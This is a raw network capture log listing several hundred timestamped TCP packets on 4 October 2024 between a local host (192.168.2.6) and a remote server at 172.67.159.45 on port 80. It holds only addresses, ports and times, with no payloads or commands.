Oct 4, 2024 04:28:05.800318003 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.800333023 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.800369024 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.800384998 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.800398111 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.800410032 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.800422907 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.800427914 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.800435066 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.800466061 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.800498009 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.800549984 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.800564051 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.800576925 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.800590038 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.800595045 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.800604105 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.800616026 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.800621986 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.800630093 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.800652027 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.800664902 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.800673962 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.800684929 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.800702095 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.800715923 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.800721884 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.800729990 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.800743103 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.800757885 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.800759077 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.800786972 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.800808907 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.800837994 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.800851107 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.800864935 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.800878048 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.800883055 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.800890923 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.800901890 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.800904036 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.800940037 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.800946951 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.800954103 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.800966024 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.800978899 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.800982952 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.800992012 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.801002979 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.801016092 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.801018953 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.801028967 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.801042080 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.801059008 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.801089048 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.801217079 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.801230907 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.801243067 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.801256895 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.801260948 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.801270008 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.801299095 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.801327944 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.801341057 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.801354885 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.801367998 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.801381111 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.801386118 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.801394939 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.801409006 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.801410913 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.801422119 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.801451921 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.801477909 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.873910904 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.873931885 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.873959064 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.874027014 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.874047041 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.874061108 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.874062061 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.874094009 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.874094963 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.874109030 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.874121904 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.874124050 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.874138117 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.874169111 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.874170065 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.874185085 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.874197006 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.874208927 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.874212027 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.874236107 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.874243975 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.874253035 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.874268055 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.874308109 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.880925894 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.880954027 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.880974054 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.880996943 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.881014109 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.881012917 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.881041050 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.881052971 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.881053925 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.881072998 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.881097078 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.881124973 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.881469011 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.881504059 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.881516933 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.881521940 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.881553888 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.881558895 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.881567001 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.881581068 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.881597042 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.881633043 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.881681919 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.881695032 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.881709099 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.881721973 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.881733894 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.881745100 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.881747007 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.881759882 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.881769896 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.881783962 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.881787062 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.881808996 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.881841898 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.892132044 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.892173052 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.892187119 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.892201900 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.892224073 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.892224073 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.892230034 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.892244101 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.892258883 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.892276049 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.892287970 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.892288923 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.892323971 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.892328024 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.892338037 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.892354012 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.892366886 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.892386913 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.892391920 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.892400980 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.892414093 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.892430067 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.892431021 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.892474890 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.892488003 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.892501116 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.892513990 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.892525911 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.892535925 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.892539978 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.892554045 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.892576933 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.892602921 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.892611980 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.892652988 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.892688036 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.892700911 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.892720938 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.892735004 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.892743111 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.892749071 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.892761946 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.892775059 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.892780066 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.892796040 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.892811060 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.892837048 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.892942905 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.892956018 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.892971039 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.892982960 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.892991066 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.892997026 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.893009901 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.893023968 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.893032074 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.893038034 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.893073082 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.893091917 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.893094063 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.893104076 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.893142939 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.893151999 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.893165112 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.893177032 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.893191099 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.893203974 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.893204927 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.893218994 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.893225908 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.893268108 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.893439054 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.893452883 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.893465996 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.893493891 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.893507957 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.893516064 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.893522978 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.893534899 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.893547058 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.893553972 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.893558979 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.893573046 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.893584013 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.893585920 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.893598080 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.893610954 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.893621922 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.893625021 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.893637896 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.893649101 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.893652916 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.893666029 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.893671036 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.893680096 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.893696070 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.893727064 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.893872976 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.893897057 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.893909931 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.893923044 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.893930912 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.893937111 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.893969059 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.894002914 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.894038916 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.894057989 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.894071102 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.894083977 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.894088984 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.894097090 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.894109964 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.894114971 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.894155025 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.894226074 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.894241095 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.894248962 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.894259930 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.894273996 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.894287109 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.894298077 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.894320965 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.894340038 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.966329098 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.966372013 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.966384888 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.966398954 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.966412067 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.966453075 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.966523886 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.966911077 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.966927052 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.966938019 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.966969967 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.966990948 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.968195915 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.968204975 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.968214989 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.968225002 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.968234062 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.968244076 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.968252897 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.968255043 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.968262911 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.968301058 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.968324900 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.973284960 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.973298073 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.973314047 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.973351002 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.973361969 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.973365068 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.973371983 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.973397017 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.973431110 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.973437071 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.973440886 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.973481894 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.973756075 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.973819971 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.973829031 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.973829985 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.973850012 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.973865986 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.973874092 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.973885059 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.973893881 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.973917007 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.974004984 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.974055052 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.974065065 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.974073887 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.974083900 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.974092960 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.974102974 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.974112034 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.974121094 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.974128008 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.974198103 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.984527111 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.984540939 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.984550953 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.984563112 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.984599113 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.984621048 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.984627962 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.984638929 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.984649897 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.984677076 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.984719038 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.984723091 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.984734058 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.984744072 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.984772921 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.984797955 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.984803915 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.984808922 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.984814882 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.984819889 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.984829903 CEST	80	49740	172.67.159.45	192.168.2.6
